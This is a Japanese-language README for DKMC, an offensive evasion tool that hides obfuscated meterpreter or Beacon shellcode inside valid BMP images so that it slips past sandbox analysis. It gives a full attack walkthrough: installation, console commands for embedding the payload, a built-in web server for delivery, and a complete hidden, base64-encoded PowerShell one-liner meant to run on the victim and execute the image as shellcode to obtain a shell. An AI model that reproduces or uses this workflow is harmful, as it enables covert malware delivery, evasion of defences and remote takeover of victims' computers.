私の猫を殺さないで（DKMC）

WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission.

「Don't kill my cat」は、ポリグロット画像内に保存された難読化されたシェルコードを生成するツールです。画像は100%有効であり、同時に100%有効なシェルコードでもあります。サンドボックス解析を回避することを目的としており、単純な「合法的」画像として振る舞います。現在のところ、このツールは最終的なシェルコードペイロードを実行するためにPowerShellに依存しています。

なぜ「私の猫を殺さないで」という名前なのか？ツールの名前を考えるのが苦手なので、デフォルトのBMP画像が猫であることにちなんで名づけました。

内部動作の説明はこちら： https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf

基本フロー

シェルコードを生成（meterpreter / Beacon）
難読化されたシェルコードを画像に埋め込む
PowerShellで画像をダウンロードし、画像をシェルコードとして実行
シェルを取得

インストール

$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

使用方法

DKMCの起動

$ python dkmc.py


DKMC - Don't kill my cat
         Evasion tool - Mr.Un1k0d3r RingZer0 Team
     |\      _,,,---,,_
    /,`.-'`'    -.  ;-;;,_
   |,4-  ) )-,_..;\ (  `'-'
  '---''(_/--'  `-'\_)    The sleepy cat

----------------------------------------------------
Select an option:

        [*] (gen)       Generate a malicious BMP image
        [*] (web)       Start a web server and deliver malicious image
        [*] (ps)        Generate Powershell payload
        [*] (sc)        Generate shellcode from raw file
        [*] (exit)      Quit the application

>>>

生ファイルからシェルコードを生成

>>> sc
(shellcode)>>> set source shellcode.txt
        [+] source value is set.

(shellcode)>>> run
        [+] Shellcode:
\x41\x41\x41\x41

難読化されたシェルコードを画像に埋め込んで生成

>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
        [+] shellcode value is set.
        
(generate)>>> run
        [+] Image size is 300 x 275
        [+] Generating obfuscation key 0x1f1dad93
        [+] Shellcode size 0x4 (4) bytes
        [+] Generating magic bytes 0xa4d0c752
        [+] Final shellcode length is 0x57 (87) bytes
        [+] New BMP header set to 0x424de9a4c60300
        [+] New height is 0x0e010000 (270)
        [+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)

(generate)>>>

被害者システム上で実行するPowerShellペイロードを生成

>>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
        [+] url value is set.

(powershell)>>> run
        [+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAFEAdQBNAGoAVQAhAHQAVgBaAHIAYgA5AHAASQBGAFAAMABlAEsAZgA5AGgAVgBDAEgAWgBsAG8AdwBMAFMAYgBmAE4AUgBxAHAAVQBuAG4AbQAwAEUASQBKAEoAMABvAFMAaQBhAHIAIQB2AE0ARwBIAHMATQBUAE4AagBFAHIAZgBOAGYAOQA5AHIAWQB6AGQARQBrAEcAeAAyAHQAVwBzACsAWQBIAHYAdQAzAEwAbAB6AHoAcgBuAEgANAA0AEkAdQB1ADEAbwB5AFQAMwBlAEUARAA2AFIAOABDAFYASQB4AEUAWgBLADkAMwBaADMAZABuAFoASwAvAGIASAA4AEYANQBRAHMALwBjAFAAWABGAFAASQBDADcAZQBmACsAbwBkADAANAArAGsAawAvAEcANwBzADQAawBEAGoAMgBkAHgAbAA3ADIANQB2AGYAWAB2AFQAYgA1AHUAYgB0AEQAOABxAHQASABKAFEAMgBJAFcAVgBwAFMAKwBUADAAUQBmAHMAegBCAEoAdABsAEQASgBJAFUASABmAGkAegBCAGUAZwB3AHUATABTADQARwA3AGMAKwBZADEAUgB6AFcAbwBxAGcAcAAhAHMAcgBDADAAZQBGAGgASQA1AFkAUwBRAHIAMQA2AGQAbwA1ACEAMQA1AFMAQwBZAE0AdwBaAEsATgBNAGkAdgA4AGoAVgBEAEMAUwBVAHoAOABhADMANABHAG4AeQBrADUAUwArAE8AMABkAGMAagBDAG4AUAB3ADUASQBHADkAVwBhADQAbwAxAHIAbwBwADIATgBmAGgARQBmAFQAYQBoADAAMwA0AGsAeQBiAHgAcgBkAHYAaABqAFUAcwBWADAAZABPAGEAeABGAFQAcgBrAHoARABUAFoAUwBHAHcAUABFADUATgB5AHoAeQBZAEsAVQBMAEQAcABJAEkAVABLAFAARABQAEMAbQBVAG0ARwBqAG4AaQBvAFgANwBlADgANQBGAHEATwBnAEUAdQBwAGgAdABDAFIAMwBRAE0AKwBFAHIAdwAwAHIAaABLAHYAWQBqAFEAYwBjAHkAegBMAGUAVgA1AGwAbABGAG0AUQBiAGUAOQBuAEQALwBOAGQAKwBYAG8ASABDAFMAYwB4AEkAdQB4AFIAegBNAFUAaABoAHoAYgBwAE4AUAA1AGoAIQB2AG8AaAArAEgAbQBnAFcAIQA0AHgAcQBrAGkARgB5AFEAUwArAGEAQgBjAG8ANQBwADYASABQAG8AdwAyAFIAawBkAHUARwB1ADIAUAB0AHIASgA1AG4AcgBrAHoAQwBxAHAANgBWAGwASQAwAG4AYgA2AHUAeABrAHAASwAyAG0ARwB0AFoAbQBwAFcAdgBNAFcAbgBoAHQAcwBJAHUAIQBQAEsAUwBZAC8AQgBiAEoAZgBMAEgAbwBSAC8AVwBsAFkAdQBGAFIAbQBFAFUAcABqAHkAKwBLAGEANQBpAE4AIQBPADcARgA3ACEAbgBGAHMAaQBRAGYAUwBjAFUAbQBIAFMAeQBLAGEAaQBFAFQAZgBDAHcATgBaACEAegBXAGkAIQB4AFQAcQBvAGEAagBFAFMAbABCAGYAQwA0AG4AOAA2AGIAbwBkADQASwBwAGwAOQBSAG8AYgBMADgAMgBkAGIAWABJAGcAMQBuAEcANAArAG4AMAA3AFAAagBIAFkARABZAE4ARgBxADAAegBIAEIAeABlAEMAdQBhAFAASABsAE0AOQBJAGIAegBVAHYAagBtACsAZwBMAG8ATwB1AEMALwBiAFgAWAA0ADAAVABpAGMAOABMACsAVQBtAFQARgBnAEkAegBTAFMAawAhAGYATQBLAHQAWgByAGIARwBJAFUASgBoAHcAdwArAHAAdwBqAHIAWQB0ADIAbQBrAFEAKwAhADMAdwBRAE8AVQA2AHAAVABpAG0AdwB5ADMASgB6AFcAQwBwAGoAKwBQAGIAYwBlAE0AKwA2AEQAcgBIAG0AbwBDAG8AVgBWAG8AVwBDAHMAcAA4AFcAcwBXAEQAZQBOAGsANwAhAEQAIQBTAEsAOABlAGoAYQBRADMAUQBuADIAQwBCAFQAUgBlAFYAOABrAHgAZQByAHAATQB3AFkAWgBEAFUANgBWAHMAawBrAHYAeABpAGIAMQBiAE8ASQBDADUAZQBEAGIAcABCAFkAcQBsAGcALwBWAFkAaQAyAHkAVwArAE8AeAAzAEUANwBNAE4AZgBPAG8AMABrAFcANgBrAGYAVQBDAHQASABrAEoARABSAEUAcQBMAFcATQBQAGQAWQBCAHcARABOAHcASQBQAEUAWgA1AGkAbwA1AE4AagBwAGsAUAA5AGMAUgBsADAANgBJAFUAWQB5AHMAMgBEAGMAbwA1AEMANgBlAFkAYQBZAG4AYwA0AEoAcwBVAEUAMQBlAG4ANgBwAEoAWQA5AGEAYQBTAEwATQBjAEYAZgBSAEoARQBIACEASwBjAGsATABsAEoAbQA5AE0AcABlAGsAZgBlAGUAcABrADIANgBSAFIAOAA0AHgAVQA3AEsASgBwAHQAMQBWAGsAcABmACEAVgB1AGEALwBXAGoASgBsAHcAdQB0AEUAMAB1AG0AZABUAG8AVQB5AGsAVgBUADcAWAA1ADMAeABWAGEAMgBOAFoARwB2AFEAMABKAE8AYwBsAG0AMABkAGIARABlAHEATABUAGYAaQB2AEYAQwBYAEIAKwBmAG4AWQBSAFgAWQBlADMAbAAxAGUAZABtADMANgBYAHoAZwBhADMAawBVADcAZABmAEYAUABRAFgAVQAhAFQAaABYAEUARABQAFQAegBVAHEAQwBaAHgARgAzAEoAQgAvAFMAYgBWADEASAB3AHoAMAB6AG8ANgBmAFAAdQAyAHUAdgBmAEIAcQBlAEMAdgBlAG4AaABRAE8AYQBpADgARgBiAEcATwBZAGwAMgB1AHYAdgB2AHoAZgBmAFgARABIADMAdgB2AHEAOAA0ADQAaQBOADUAawA3AFYAZgA2ACsAaQBOAGEAcQBMADUAcQBpAGQAbABpAGUAagBvAC8AdgBiADYAZQB6AEQANgBQAGsANQBPAGIAdABQADMAKwB4AGgAUQA3AFYASwBvAFoANQBjAGcANABtAGwAMABoAHYATABhAFEANwBkAHkAdgBlAG8ASwBsAE0AMAB5AHoAKwBMAGoATgBRAFkAYgAhADAAZgA3AHgAIQAxAEcAdwBVAGUATgBjAGUASwBtAEYAUABqAEUAMwB0AFAARwBWAHUAWQA1AFEAZABoAGQANAB1ADcAKwAzADkAYwA0AGkAdgB3AE8AdABSADQAYwB0AFgAaAAwAGUAMwBtAEQAQgB5AE8ANQB6AEMARAB0AGYASQBKAHoAcQBtAFYAMgA1ADMANgA5AFUAMABCAFkAcgA5ACsAOABxAEMATQB2AHIATgA5ADQAUQBVAFcASQArAG0AOQA1AE8AcgBmAFoAWgBoAEYAKwBxAGkAMgBkADEAcgBSAGgAYQAwAHYANQA5ADcAZQBZADYAawBkAEQAcwA5AGkANAA3AHIAVgBiAGMAOQBPAGIALwBPAHoAMgA1AFkARwBmADQANQA3ACsAVwBuAHMAZAAzAEwANAB5ACsAaQByAEsASwAvAFQAeABzAEcANgBGAFAAWAAvAHcAagAvAHYANABOAE0AbABlAFUAYQBRAHgAMgAwAGYAYwA0AHIASAByAHoAWgBZAEIAeQBxAGEANgBkACEATABaAFMAaQBpAHEAYwA1AEYAZAA2AE4ARAB2AEQAagB1ADMAaQBTAFcARgAzAHgALwBpAFUANgB1AEIAawBRAHQAWgBRAFUAdQB3AEgAbgBzAHQAZwBRAFEANgBzADkAWgBPACEAMABsAFQAcQA4AHEAMABZADQAMgBFAHUAUwBqAC8AUQB1AEYAWQByADYAcAArADEANQAwAGUAdAB3AFQASwB1ADkAOAArAEQAZgBxAHQAdQBrAFoAUABXAFYANwBKAHQAaABEAHkAUQBNAHEASgBXAFUALwB0ADcAZQBPAHEAVAAwAHoAZwAxAFAALwBMAGMARwBmAFkAWAB1AFUATQBzAHMAdQBWACsAawBUADUANABnAEsAZQA1ADgAcQBrAFkAWgB3AFkASAArAEwARgBiAEwAeQAxAGIAYwBuAHMAaQBqAFAAOABMAHAAegBWADkAdABFAFEATAAhACEAIQA9ACIALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAgACIAQQAiACkAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

(powershell)>>>

内蔵Webサーバーを使用した画像の配信

>>> web 
(web)>>> set port 8080
        [+] port value is set.

(web)>>> run
        [+] Starting web server on port 8080

127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -

最後のステップでは、被害者システム上でPowerShellのワンライナーを実行する必要があります。

TODO

より多くのファイル形式をサポート。

Credit

Mr.Un1k0d3r RingZer0 Team 2016

DKMC

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